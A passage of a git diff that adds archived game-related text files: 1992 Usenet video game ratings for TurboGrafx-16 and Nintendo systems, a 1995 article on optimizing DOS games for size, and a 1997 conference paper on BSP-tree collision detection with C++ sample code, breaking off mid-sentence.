@@ +From news Wed Apr 1 12:17:39 1992 +Path: uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (NEC TURBOGRAFX-16, TURBOEXPRESS) +Message-ID: <44157@ucbvax.BERKELEY.EDU> +Date: 1 Apr 92 02:34:08 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 107 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +NEC TURBOGRAFX-16, TURBOEXPRESS, AND PC-ENGINE +New Distribution Votes Rank Title + ........*. 1 9.0 1943 + .....*.... 1 6.0 Addams Family, The + .......622 5 8.6 Aero Blasters + ......*... 1 7.0 Afterburner II + .....045.. 12 7.4 Alien Crush + .......55. 2 8.5 Andre' Panza Kick Boxing + ...*...... 1 4.0 Batman + ....2422.. 5 6.4 Battle Royale + ...0...422 15 8.4 Blazing Lazers + .....46... 5 6.6 Bloody Wolf + .1......61 6 8.0 Bomberman + .....2241. 14 7.5 Bonk's Adventure + .....11.6. 6 8.2 Bonk's Revenge + ....1142.. 7 6.9 Cadash + .......*.. 1 8.0 China Warrior + ........*. 1 9.0 Columns + ......36.. 3 7.7 Cyber-Core + .......36. 3 8.7 Dead Moon + ..*....... 1 3.0 Deep Blue + ......1.54 10 9.2 Devil's Crush + ...25.2... 4 5.2 Double Dungeon + ........*. 3 9.0 Download 2 + ........*. 1 9.0 Dragon Saber + ......6..3 3 8.0 Dragon Spirit + * ......*... 1 7.0 Dragon's Curse + .....323.0 12 7.2 Dungeon Explorer + ......*... 1 7.0 Exile + ..2.222... 4 5.2 Fantasy Zone + ....*..... 1 5.0 Fighting Street + ....233... 8 6.1 Final Lap Twin + .......55. 2 8.5 Final Soldier + ....55.... 2 5.5 Final Zone II + ....1.33.1 13 7.5 Galaga '90 + .........* 1 10.0 Gradius + ....*..... 2 5.0 J.J. & Jeff + ......*... 1 7.0 Jack Nicklaus Golf + .0214.1... 15 4.4 Keith Courage In The Alpha Zones + .....324.. 9 7.1 Klax + .......*.. 2 8.0 Last Alert + ...1.22200 15 7.0 Legendary Axe + ....0.26.. 11 7.5 Legendary Axe II + ..0....043 13 8.8 Military Madness + ........*. 1 9.0 Monster Lair + ...22.222. 5 6.6 Moto-Roader + ......5.22 4 8.2 Neutopia + .....11141 7 8.3 Ninja Spirit + .....63... 3 6.3 Ordyne + ........*. 1 9.0 Outrun + ...6.4.... 5 4.8 Pac-Land + .......*.. 1 8.0 Parasol Stars + .......*.. 1 8.0 Power Drift + .....*.... 1 6.0 Power Golf + ....2224.. 5 6.8 Psychosis + ....122221 10 7.5 R-Type + .......*.. 1 8.0 Raiden + ......63.. 3 7.3 Ranma 1/2 + ......63.. 3 7.3 Rayxanber II + ......*... 1 7.0 Road Spirits + ........*. 1 9.0 Salamander + ......*... 1 7.0 Sci + ...2.222.. 4 6.2 Sidearms + .....2..7. 4 8.2 Silent Debuggers + .....55... 6 6.5 Sinistron + .....*.... 2 6.0 Sonic Spike V'ball + .....55... 2 6.5 Space Harrier + ......55.. 6 7.5 Splatterhouse + ........*. 2 9.0 Spriggan + .......333 3 9.0 Super Darius + .1....16.. 6 6.8 Super Star Soldier + ......*... 1 7.0 Super Volleyball + ...1331... 6 5.5 T.V. Sports Football + .......*.. 2 8.0 T.V. Sports Hockey + ......*... 1 7.0 Talespin + ........55 2 9.5 Time Cruise II + .......*.. 1 8.0 Twin Hawk Custom + ......*... 3 7.0 Valis II + * ........*. 1 9.0 Valis III + * ........*. 1 9.0 Valis IV + .......*.. 1 8.0 Vasteel + ......*... 2 7.0 Veigues Tactical Gladiator + ...333.... 3 5.0 Victory Run + .......*.. 1 8.0 W-Ring + .....3.33. 3 7.7 World Class Baseball + * ......5..5 2 8.5 World Court Tennis + .......*.. 2 8.0 Xevious + .......2.7 4 9.5 Ys I & II + ......36.. 3 7.7 Ys III + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/nes.txt b/textfiles.com/games/nes.txt new file mode 100644 index 00000000..064102b4 --- /dev/null +++ b/textfiles.com/games/nes.txt @@ -0,0 +1,186 @@ +From news Wed Apr 1 12:17:47 1992 +Path:uwm.edu!zaphod.mps.ohio-state.edu!cis.ohio-state.edu! + ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (NINTENDO SNES, NES, GAMEBOY) +Message-ID: <44158@ucbvax.BERKELEY.EDU> +Date: 1 Apr 92 02:35:15 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 173 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +NINTENDO GAMEBOY +New Distribution Votes Rank Title + ...*...... 1 4.0 Bases Loaded + ...5.5.... 2 5.0 Batman + ...5...5.. 2 6.0 Bill & Ted's Excellent Adventure + .*........ 1 2.0 Boulderdash + ........*. 2 9.0 Boxxle + ...*...... 1 4.0 Bubble Ghost + ......36.. 3 7.7 Castlevania + .......*.. 1 8.0 Castlevania II + ......*... 1 7.0 Chessmaster + .......*.. 1 8.0 Choplifter II + ......*... 1 7.0 Crystal Quest + ......*... 1 7.0 Daedalus Opus + .......55. 2 8.5 Dr. Mario + ......*... 1 7.0 Dynablaster + ..2.2.24.. 5 6.2 F-1 Race + ....1.1022 11 8.1 Final Fantasy Legend + ......33.3 3 8.3 Final Fantasy Legend II + .....222.2 4 7.8 Gargoyle's Quest + ...2..2.22 4 7.5 Golf + .....55... 2 6.5 Ishido: Way Of The Stones + ....5...5. 2 7.0 Kwirk + ......*... 1 7.0 Lock 'N Chase + ........*. 1 9.0 Matchmania + .3...3.3.. 3 5.3 Megaman + .....2242. 5 7.6 Metroid II + ...222..22 5 6.8 Nemesis + .........* 1 10.0 Nemesis II + ...*...... 1 4.0 Paperboy + ........*. 1 9.0 Parodius + .2....2.42 5 7.4 Pipe Dream + ...*...... 1 4.0 Play Action Football + ........*. 1 9.0 Probotector + .....*.... 1 6.0 Puzzle Road + .......*.. 1 8.0 Puzznic + ......55.. 2 7.5 Qix + ...*...... 1 4.0 Quarth + ..3..3.3.. 3 5.7 R-Type + ....22.22. 4 7.0 Revenge Of The Gator + .*........ 1 2.0 Robocop II + ........*. 1 9.0 Scrabble + ....*..... 2 5.0 Shanghai + .......*.. 1 8.0 Side Pocket + .....5..5. 2 7.5 Skate Or Die + ..*....... 1 3.0 Sneaky Snakes + ....46.... 5 5.6 Solar Striker + .....0.224 13 9.0 Super Mario Land + ........*. 1 9.0 Sword Of Hope + * ......*... 1 7.0 Tennis + ....201031 19 7.6 Tetris + ........*. 1 9.0 Yakuman + +NINTENDO ENTERTAINMENT SYSTEM (NES) AND FAMICOM +New Distribution Votes Rank Title + .........* 1 10.0 A Boy And His Blob + .......*.. 1 8.0 Adventures Of Bayou Billy + ......25.2 4 8.2 Adventures Of Little Nemo In Dreamland + ...5...5.. 2 6.0 Alien Syndrome + ..3...3.3. 3 6.3 Baseball Stars + ....5.5... 2 6.0 Bases Loaded + ....5...5. 2 7.0 Battle Of Olympus + ....31.111 6 7.2 Blades Of Steel + ...3..3.3. 3 6.7 Blaster Master + ...*...... 2 4.0 Bubble Bobble + .......*.. 2 8.0 Castlevania + .....3.3.3 3 8.0 Contra + ......225. 4 8.2 Crystalis + ...5...5.. 2 6.0 Deja Vu + ......55.. 2 7.5 Destiny Of An Emperor + ....*..... 2 5.0 Double Dragon + ...5.5.... 2 5.0 Double Dragon 2 + .....28... 5 6.8 Dragon Warrior + 1332...... 9 2.7 Duck Hunt + ..5.....5. 2 6.0 Dungeon Magic + ..*....... 2 3.0 Excite-Bike + .1.1..15.. 6 6.2 Faxanadu + ..5..5.... 2 4.5 Fester's Quest + ......1124 7 9.0 Final Fantasy + ...2.26... 5 6.2 Gauntlet + ..3..3.3.. 3 5.7 Gauntlet II + ....*..... 2 5.0 Gradius + ......*... 2 7.0 Gyruss + ....*..... 1 5.0 Heavy Barrel + .......*.. 1 8.0 Iron Tank + ...*...... 1 4.0 Ironsword + ....*..... 1 5.0 Journey To Silius + ..3....6.. 3 6.3 Legacy Of The Wizard + .....21124 10 8.5 Legend Of Zelda + ...4..222. 5 6.4 Life Force + .*........ 1 2.0 Magic Johnson's Fast Break Basketball + .....55... 4 6.5 Magic Of Sheherazade + ........*. 1 9.0 Maniac Mansion + .....*.... 2 6.0 Marble Madness + ....2.222. 4 7.2 Metroid + .....*.... 2 6.0 Mike Tyson's Punch-Out + ......*... 1 7.0 Ms. Pac-Man + .....5...5 2 8.0 Ninja Gaiden + .....5..5. 2 7.5 Ninja Gaiden 2 + ....*..... 1 5.0 Off-Road + .*........ 1 2.0 Pinball Quest + .....*.... 1 6.0 Pipe Dream + ....5.5... 2 6.0 R.B.I. Baseball + ....*..... 1 5.0 R.C. Pro-Am + ....5.5... 2 6.0 Rolling Thunder + ..5.....5. 2 6.0 Romance Of The Three Kingdoms + .....*.... 2 6.0 Rygar + ...*...... 1 4.0 Skate Or Die + ....*..... 1 5.0 Solomon's Key + ...5..22.. 4 5.8 Solstice + * ...*...... 1 4.0 Star Trek: 25th Anniversary + ......36.. 3 7.7 Star Tropics + .....63... 3 6.3 Street Fighter 2010 + ..3......6 3 7.7 Super C + 0..011121. 17 6.4 Super Mario Brothers + ......225. 4 8.2 Super Mario Brothers 2 + ...0...143 12 8.8 Super Mario Brothers 3 + .....55... 2 6.5 Super Sprint + ....2...26 5 8.8 Super Tecmo Bowl + ....22222. 5 7.0 Tecmo Bowl + ...22.42.. 5 6.2 Teenage Mutant Ninja Turtles + ....3.6... 3 6.3 Teenage Mutant Ninja Turtles: The Arcade Game + .......*.. 1 8.0 Time Lord + 55........ 2 1.5 Top Gun + .....25.2. 4 7.2 Willow + 3....6.... 3 4.3 Xenophobe + ......*... 2 7.0 Xevious + .....11.51 7 8.4 Zelda II: Adventures Of Link + +SUPER NINTENDO ENTERTAINMENT SYSTEM AND SUPER FAMICOM +New Distribution Votes Rank Title + ..0010230. 21 6.5 Actraiser + 26....2... 5 2.8 D-Force + .11.32111. 10 5.6 Darius Twin + 1.111.3... 6 4.5 Drakkhen + ...0011032 24 8.0 F-Zero + .0.0.11121 17 7.7 Final Fantasy II + 12....43.. 10 5.7 Final Fight + .1.13.1.1. 6 5.3 John Madden Football + ....5..5.. 2 6.5 Lagoon + ...2.1111. 11 6.5 Pilotwings + 0...200020 11 6.7 Populous + .....2122. 7 7.6 Sim City + .0.0.10132 20 8.0 Super Castlevania IV + * ......*... 1 7.0 Super E.D.F. + ..0.001320 21 7.6 Super Ghouls 'N Ghosts + .00.000223 33 8.5 Super Mario World + ....4.4.2. 5 6.6 Super Off-Road + ....3122.1 9 6.8 Super R-Type + 5.5....... 2 2.0 Super R.P.M. Racing + ........36 3 9.7 Super Smash T.V. + 2....4.22. 5 6.0 Super Tennis + .0.0.1042. 17 7.2 U.N. Squadron + * .....*.... 1 6.0 Ultraman + .11311.... 6 4.0 Wanderers From Ys III + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/optimize.txt b/textfiles.com/games/optimize.txt new file mode 100644 index 00000000..68ee31ec --- /dev/null +++ b/textfiles.com/games/optimize.txt @@ -0,0 +1,256 @@ +This article was published as: + +"Game Size: The Forgotten Discipline" + PC Techniques, Vol. 6, no 3 + Aug/Sept. 1995, page 93. + +What appears here is the original manuscript, as submitted to Jeff +Duntemann. Any changes in the published version are due to Jeff's +expert editing. + + + Writing Smaller Games + copyright 1995 Diana Gruber + +At a recent conference, I ran into a user of a shareware game who +was complaining that the game wouldn't run on his ancient 80286 +computer. It was running too fast. The program, apparently, was +written years earlier to run on an XT, and performed badly on +anything faster. He was wondering if I had any suggestions on how +to fix it. I didn't, but I took the opportunity to recall the good +old days of game programming, when developers knew how to get the +most out of those old, primitive systems. + +The thing that sticks in my mind the most about the early days +of game programming was how much attention we paid to the size +of a game. These days, all the emphasis is on speed. If a game +fits on ten floppy disks or a CD-ROM, it isn't a problem. We +can afford to be wasteful where size is concerned, as long as +we have adequate speed. + +Do you remember when floppy disks were so expensive that games +had to fit single 360K disk? Disk space wasn't the only problem +back then. You couldn't count on a system having 640K bytes of +memory, or even 512K. To reach the widest audience, a game +had to run in 256K or less. + +Programming to those types of minimal configurations is becoming +a lost art. Game programmers who remember how it was done still +have the necessary skills. We remember how to optimize for size. +But you don't see much written on the subject, because it is +no longer an issue like it used to be. Still, there is no reason +to be sloppy. Wasted space is wasted space. Even if you don't +need to optimize for size, it still pays to know how to do it. +And there are still occasions where optimizing for size is +important, for example when writing code for an embedded system +or an EPROM. + +With this in mind, I am offering the following list of suggestions +for optimizing games for size. + +Use C, not C++ + +C++ is a powerful language. While you can use it without a speed +degradation, you will most likely notice an increase in the size +of your program. When optimizing for size, use C, stripped down +to the bare minimum. Also, compare compilers. Some compilers +generate smaller code than others. + +Check your compiler switches + +Most compilers give you a choice between optimizing for speed and +optimizing for size. Choose optimizing for size, and be sure to +turn off the debugging information. Keep an eye on things like +stack size and heap size, and adjust as appropriate. + +Be careful with overlays + +The big problem with overlays is the number of disk accesses they can +generate. If these are not planned carefully, your program will +access the hard disk constantly, causing your program to run very +slowly. However, if used correctly, overlays can be a wonderful way +to keep a game running when RAM is low. + +Use the medium memory model if possible + +You want your data to default to near memory. You can fit a lot +of data in a 64K segment, especially if you make heavy use of globals +and reuseable arrays. If Windows Write can be written in medium +model, so can your game. The small model is also good, but it is usually +not practical to fit both code and data into 64K segments. + +Use the smallest integral type + +Don't use long integers when short integers will do. Don't use short +integers when bytes will do. This isn't terribly important where +individual variables are concerned, but pay careful attention to your +arrays. + +Use globals + +These days, programmers are taught to avoid globals for stylistic +reasons. However, they can actually be quite efficient, both in +terms of speed and size. There is a time and a place for everything. +If you are writing a program for a bank that 20 other programmers +are going to work on, you should avoid using globals. If you are +writing a game and you want to squeeze every drop of performance +out of it, use them liberally. + +Use malloc() and free() + +This is obvious. When an object, such as a bitmap or a sound effect, +is no longer in use, its space should be available for some other +object to use. A variation on this is to allocate all the free memory +at the beginning of your program, and control the use of it yourself. +Programmers often write functions called my_malloc() and my_free() +which simply keep track of pointers to this block of memory. However +you choose to manage memory, be careful about fragmenting it. + +Reuseable arrays + +Allocate an array of a few thousand bytes and use it over and over. +Temporary bitmaps, such as menu art, can go in there, along with +sound effects, masking maps, or whatever else comes and goes +frequently. + +Write lots of small functions + +Any time you do something more than twice, write another function +to handle it. The overhead of using many function calls can be +offset by the liberal use of global variables. + +Don't use inline functions + +Inline functions are the way to squeeze more speed out of a C++ +program. In some cases, class functions default to inline. This +adds size to your program, because every occurrence of the function +call is expanded to the whole function at compile time. + +Use macros sparingly + +Do this for the same reason you avoid using inline functions. The +macro substitution happens at compile time, adding size to your +executable program. Don't avoid macros altogether, though. They can +greatly simplify your code, and add a speed boost as well. Just +be careful how you use them. + +Don't use unrolled loops + +Unrolled loops are a speed optimization, at the expense of program +size. If size is a concern, roll them back up. A compromise solution +is to use partial unrolling. For example, you can execute a +1000-iteration loop 500 times but include the code twice within the +loop. + +Don't use compiled bitmaps + +Compiled bitmaps are all the rage these days. Bitmap data is turned +into assembly language instructions. They are blazingly fast, but +add massive size overhead to the size of your program. + +Use itoa() instead of sprintf() + +There are very few times when you want formatted text output in a +game. Usually the score will contain integers, and maybe some +inventory or map coordinates also involve numbers. The sprintf() +function does a nice job of converting numbers to text, but it +also does a lot more. The unneeded code adds to the size of your +program. If possible, avoid it and use itoa(). Similarly, use atoi() +instead of sscanf(). + +Don't use floating point + +This is a universal truth in games, and programmers will go to great +lengths to avoid floating point math, including writing their own +"fixed point" functions, which are integer simmulations of real number +functions. In general, integer solutions can be found to most +game design problems, usually without resorting to fixed point. +For example, to turn clock ticks into seconds, you need to multiply +by 18.2. This can be accomplished by multiplying by 182 and dividing +by 10. + +Rewrite the startup code + +While I have never done this, some game programmers do it routinely. +The function c0.asm can be optimized by stripping out the code you +don't need. + +Compress your executable + +There is a freeware program called LZEXE which allows you to store +your executable in a compressed format which is decompressed at load +time. This saves disk space, but not RAM. The program will expand +to fill up the same amount of RAM it required before the compression. +There are also commercial programs that do the same job. + +Use repetitive music and brief sound effects + +Music and sound effects will eat up huge chunks of space. Plan these +carefully. Trim them down to the bare minimum, and store them in +RAM in reuseable arrays. + +Turn little files into big files + +Files are stored on disks in allocation units. Typically, DOS will +alocate a unit of two 512-byte sectors on a floppy disk, or four +sectors on a hard disk. A tiny file will fill the entire allocation +unit, even if it is only a few bytes long. The rest of the +allocation unit is simply unused space. On average, 512 bytes of space is +wasted for each file on a floppy disk. That means if you have 10 +files on a floppy disk, you have approximately 5K of wasted space. So +if you can combine your bitmaps or sound effects into larger binary +files, you will achieve a significant savings in disk space. + +Use reuseable artwork + +If your title screen and your credit screen use the same artwork, but +perhaps arranged differently, you can store it in a single file and +organize it at run time. If your title screen uses artwork from the +game, so much the better. Recycle those files as much as possible. + +Strip the palette information out of PCX files + +If you use the same color palette throughout the game, then you +don't need to store that information in a PCX file. The 256-color PCX +files have 768 bytes at the end which hold the palette information. +You can trim that off. If you have 10 PCX files all using the same +palette, this will save you more than 7K. + +Use RLE bitmaps + +Run Length Encoding (RLE) is a simple technique for compressing +bitmaps. It simply records the color, then the number of pixels of +that color, in a continuous pattern starting at one corner. Depending +on the artwork, this can save you considerable space both both in +terms of disk space and RAM. RLE's are also very efficient in terms +of speed. They can be displayed faster than an uncompressed bitmap, +but not as fast as a compiled bitmap. + +Don't store text as graphics + +If you have a page of text, for example opening credits or a storyline, +store it as character strings and display it using a bitmapped font. +Don't store it in a PCX file, which would be very wasteful. + +Split your sprites + +If you have two sprites that are almost identical, break them up. +For example, if you have a man with his hands up, and the same man +with his hands down, make the man one sprite, and the hands another +sprite. This will save quite a bit of sprite storage room, but +it causes a slight speed degradation (you turn one blit into two blits) +and it is also time-consuming and annoying to manipulate the artwork +that way. If you are at the end of the development cycle, and you +just need to squeeze a few more bytes out of your program, this is +a good place to do it. + +As you can see, many of these tips are exactly the opposite of what +you would do if you were optimizing for speed. In actual practice, +game programmers tend to weigh their options and make decisions based +on both size and speed. These days, the equation is skewed heavily +toward speed, with size being a trivial factor in development +decisions. Still, it pays to know what you are trading away when you +make your tradeoff decisions. A good programmer will keep both size +and speed considerations in mind when designing and developing games. + + diff --git a/textfiles.com/games/pcd_txt.txt b/textfiles.com/games/pcd_txt.txt new file mode 100644 index 00000000..9c496f43 --- /dev/null +++ b/textfiles.com/games/pcd_txt.txt @@ -0,0 +1,649 @@ + + +To appear in the Proceedings of the Computer Game Developer's Conference, 1997 + + +Practical Collision Detection Lecture #177 Jonathan Blow +jon@bolt-action.com http://www.bolt-action.com + + + + +--- Target Audience --- + +Programmers of realtime 3D applications who intend to implement sophisticated +collision detection schemes. + + +--- Abstract --- + +Most modern 3D games require some form of collision detection. This paper +presents some basic brute force methods of collision detection between +polyhedra, successively refining the techniques until we are left with +a system that runs quickly. An implementation is examined in which +a game engine handles 32 players and hundreds of objects in realtime. + + +--- Modus Operandi --- + + +Over the past year, we have been experimenting with methods of collision +detection for use in games. The goal of this paper is to communicate the +experience we have gained. Being an exposition of "practice and experience", +this paper does not present any new work in that it does not plant a new +condominium tract amid the burgeoning fields of computer science. We hope +merely to provide observations and ideas that will be useful to others +exploring this subject. All the ideas presented here (and many more) +would be evident to anyone who sat down and experimented with collision +detection for a time. Our main goal is to save you some of that time. +This paper is constructed in a form that matches the evolution of our +collision detection system over time. In the first section we begin slowly, +taking small steps until a foundation is firmly established. We detail the +history of our progress, highlighting key discoveries. Finally, we speed +through some advanced concepts, and leave off with some jaded summaries of +the current state of collision detection research. + + + +--- What Do You Want? --- + + +We wanted to make a game with "good collision detection", but we didn't +take much time to clarify to ourselves what precisely that meant. We knew +that we wanted objects to have the shapes of arbitrary polyhedra, and we +knew that we didn't want grossly inaccurate collision results: that is, +we never wanted to see objects bounce off empty space, and neither did we +want to see them interpenetrate. + + + +--- A First Try --- + + +If two objects are sticking through each other, and they are both closed +polyhedra, then at least one face of one object will be penetrating at +least one face of the other object. If we can detect this case as soon +as it occurs, then "fix" the situation by moving the objects slightly so +that they no longer penetrate, then we should be done. + +Therefore we decided that the logic governing object motion would proceed +in a loop like this: + + + +while the game is running + foreach entity in the world + update(entity) + + +update(entity): + entity.old_position := entity.current_position + modify entity.current_position based on entity.velocity and other factors + if Colliding(entity) then entity.current_position := entity.old_position + + +Colliding(current_entity) -> bool: + foreach entity in the world + if entity != current_entity then + if Entities_Collide(current_entity, entity) then return true + return false + + +Entities_Collide(e1, e2) -> bool: + foreach polygon p1 in e1 + foreach polygon p2 in e2 + if polygons_intersect(p1, p2) then return true + return false + + + +We have not defined _polygons_intersect_ here. Descriptions of how +to determine the intersections of two polygons can be found in [O94]. +It is easier and faster to determine intersections of convex polygons +than nonconvex ones, so one may wish to compose one's models of convex +polygons (there are many good reasons to do this, most of which have to +do with graphics.) + +When objects collided, we chose to move them back to their starting +positions, because if those were "safe" spots for the objects a moment ago, +they will probably still be safe. One alternative is to search through +space to find new positions for the objects, which is icky. But there +are complications in the method that we chose: for example, when an object +is moved back to its starting point, we must make sure that it is really +still safe; if not (because an object has moved into that space in the +meantime), we must move the offending object back to its own starting +position. The worse that can happen is that we have to revert every +object in the world to its starting point. For the most part, though, +the pseudocode above illustrates an extremely basic, extremely simple, +and extremely slow way of doing collision detection. Why is it so slow? +If we have two objects, each of which is composed of 100 polygons, then +when they collide, that loop body in Entities_Collide will be executed a +lot -- 1002 times in most cases. Finding whether two polygons intersect +is not the fastest operation known to man. On current-day computers, +doing it 10,000 times is far from instantaneous. And doing it 10,000 +times for each pair of objects that may collide, updating the world many +times per second, becomes impossible. It's dreadfully slow, but it works +(with a few exceptions, which we'll talk about later). And something that +works is not a bad starting point. + + +--- The First Filters --- + + +One way to speed up a slow algorithm is to install "filters" which keep +the slow part from getting run when it doesn't need to, or which can come +up with an easy answer using inexpensive techniques. Immediately we put +into place two simple filters that most experienced programmers would take +as givens: + + + A) Segregation is Good + +We divide the world into a regular grid that partitions objects into +smaller groups, with the goal of reducing the number of entity-entity +comparisons the system needs to make. Every time we move an object, we +compute which squares of the grid it overlaps. For our engine we chose +a two-dimensional grid, although it is a true 3D world, because the game +is played over a landscape and we do not expect many objects to be piled +on top of each other. + + + B) Bounding Spheres + +Before doing the polyhedron-polyhedron check, we look at the distance +between the centers of the two objects. If they are further than the sum +of the two objects' radii, the objects cannot possibly interpenetrate. +To speed this up slightly, we can check the distance squared versus the +sum of the radii squared (this avoids a costly square root operation). + + + C) I Prefer Jersey + +Actually, we originally had a third filter that ran before the bounding +sphere test, which looked at the Manhattan distance between the objects' +centers. This was not really worth the bother (It almost never saved any +execution time worth worrying about) so we deleted it. + + + +--- Filling In the Gaps --- + + +The code discussed so far tests for interpenetration, but that might not +be adequate. I've never seen a realtime object simulator in which movement +wasn't discrete; that is to say, motion occurs by teleporting objects +from place to place. The illusion of smooth motion arises because the +distances by which the objects "jump" are very small. But the faster an +object is moving, the further it must jump during a fixed timestep. If an +object jumps far enough during one update, it could "miss" another object, +appearing to fly right through it (or part of one object could miss part +of another, causing strange things to happen). Our quick fix for this was +to create a "speedbox" around the object; the speedbox was a bounding box +that enclosed the full volume of space through which the object might pass +during one update. When testing for collisions we would use the speedbox's +shape instead of the object's actual shape. This violated our original +concern that collisions should be very accurate, but we waved our hands +and said that since the object was moving so quickly, nobody would see +what was going on anyway. See, games are cool because you can wimp out +like that, any time you want. The most drastic (and only theoretically +sound) alternative we know of is to represent shapes mathematically as +functions of their initial space occupancies, their velocities, and time, +and then solve huge sets of simultaneous equations to determine collision. +We do not expect this approach to be computationally feasible any time +this millennium. Divisiveness is Good + +It's an ancient fact that, if two convex polyhedra do not intersect, one +can always find a dividing plane between them [Rab95]. Exploiting this +fact seemed like a good idea. We didn't want to limit our objects to +convex polyhedra, or have to express them as being composed of such. +But it is still true that, if objects are mostly convex, then you can +usually find a dividing plane between them (illustrated in figures 5-7). +So we wrote another filter called "plane divides entities", which would +heuristically try to find a dividing plane between two objects. And we +saw that it was good. + +By this point we had built up a stack of "easy"-to-compute filters that +would happen before the final collision detection, which became known as the +"hard case". But the hard case was, so to speak, still too hard. And though +the filters were very helpful, there were cases when they just failed to +apply. When two objects got very close to each other in ways that left no +easily-found dividing plane between them, the game slowed down unacceptably. +We knew about BSP trees, so we cracked open some references and began writing +some new hard-case code. We will not attempt to explain BSP trees fully in +this paper. Instead, we refer the reader to [Chin95], [FV90], and [Wade95], +and provide a brief explanation for the sake of context. BSP trees consist +of a hierarchy of planes, where each plane divides a region of space into +two halfspaces. We can use them to describe a solid object by adopting the +convention that each separating plane of a leaf node describes a portion +of the object's surface, where one of the plane's halfspaces represents +the inside of the object, and the other represents space that is outside. +Binary tree organizations of n nodes can often allow search operations to +complete in O(log(n)) time, and the collision detection we are trying to +perform is fundamentally a search. Intuitively, if we use BSP trees well +when testing two objects for intersection, we should be able to handle a +"hard case" collision test in something like O(log(n)2) time, where n is +a typical number of polygons contained by an entity. We can employ BSP +trees to speed up collision detection by using their spatial-partitioning +properties to reject polygons early. If we are detecting a collision +between two entities A and B, and if we know that A lies entirely on one +side of some plane P that cuts through B, then we need only test A against +the parts of B that are on the same side of the plane as A. (In a sense, +this is a more sophisticated version of the Plane Divides Entities test, +where the dividing plane eliminates only part of an object, rather than +the whole thing.) BSP trees provide us with a myriad of such planes. +So if we recurse down the BSP tree of B, finding whether A's bounding +sphere intersects each separating plane (a very cheap operation in itself), +we can ignore many polygons of B that have no chance of colliding with A. +For each polygon of B that passes this filter, we will call a procedure +that compares it with every polygon in A. Some sample C++ source code to +do this is presented below: + +struct Polyhedron { + List *faces; // All polygons contained in this object + Point center; // Center of the object + float radius; // Radius of its bounding sphere + BSP_Node *bsp_tree; // BSP tree representing this object +}; + +enum flag_value { + TOUCHES_POS_HALFSPACE = 0x1, + TOUCHES_NEG_HALFSPACE = 0x2, + SLICED = 0x3 // Touches both halfspaces +}; + +struct BSP_Node { + float a, b, c, d; // Coefficients of plane equation (ax + by + cz + d = 0) + List *polygons; // Polygons that are coplanar with said plane + BSP_Node *positive, *negative; // Contents of each halfspace +}; + +bool object_hits_world(BSP_Node *node, Polyhedron *solid) { + if (node == NULL) return false; + + int status = classify(node, solid->center, solid->radius); + + if (status == SLICED) { + if (test_solid_against_polygons(node->polygons, solid)) + return true; + } + + if (status & TOUCHES_NEG_HALFSPACE) { + if (object_hits_world(node->negative, solid)) return true; + } + + if (status & TOUCHES_POS_HALFSPACE) { + if (object_hits_world(node->positive, solid)) return true; + } + + return false; +} + +int classify(BSP_Node *node, Point center, float radius) { + float distance = (center.x * node->a) + (center.y * node->b) + + (center.z * node->c) + node->d; + + int status = 0; + + if (distance - radius <= 0.0) status |= TOUCHES_NEG_HALFSPACE; + if (distance + radius >= 0.0) status |= TOUCHES_POS_HALFSPACE; + + return status; +} + +bool test_solid_against_polygons(List *polygons, Polyhedron *solid) { + Polygon *face1, *face2; Foreach(polygons, face1, { + Foreach(solid->faces, face2, { + if (polygons_intersect(face1, face2)) return true; + }); + }); + + return false; +} + + + +We can go further than this: after selecting potentially colliding polygons +from B, rather than testing them against all of A, we can drop them down A's +BSP tree, eliminating collision tests with much of A. By the time we're done +with all that, we should end up performing relatively few polygon-polygon +intersection tests. In our implementation, we choose the smaller of two +potentially colliding objects as A, and the larger as B (judging by the +radii of their bounding spheres). The reasoning behind this was that the +smaller object was more likely to fit between the larger's partitioning +planes, thus reducing the number of polygons considered (see figure 8). + +To facilitate the testing of individual polygons from B against A's BSP +tree, we chose to store a center point and bounding radius on each polygon +of each object model. This is a controversial choice as it increases +memory usage, and as a bounding sphere is a fairly pessimistic bounding +volume for a polygon. + + +--- Early Hit Detection --- + + +By now things were a lot faster than what we'd started with, but of +course we still wanted to make them faster. We figured that, say, if +you're moving toward a wall and you collide with it, and you're going at +a reasonable speed, you won't jump too far through the wall -- chances are +that some vertices from your object will actually end up inside the wall +(this is illustrated in figure 9.) + +So we added a new test that classified the necessary vertices of each +object into the other object; if a vertex from A, for example, ends up on +the interior of B, you know that they have collided, without performing any +polygon intersection tests. Though this test is certainly not sufficient to +determine a collision (again, see the figure), it is faster than comparing +polygons. Eventually we took this test back out. It did speed up the +detection of a hit between two objects, but this had a negligible effect +on the speed of the game as a whole, for one simple reason: objects almost +never collide with each other. For example, suppose you throw a big rock +at your friend's face. The rock will travel toward your friend for some +time, with little computation being performed because of culling by the +early collision filters. But there will come a time when the rock is very +close to your friend, and if he's flinging out his arms in desperation to +(unsuccessfully) shield 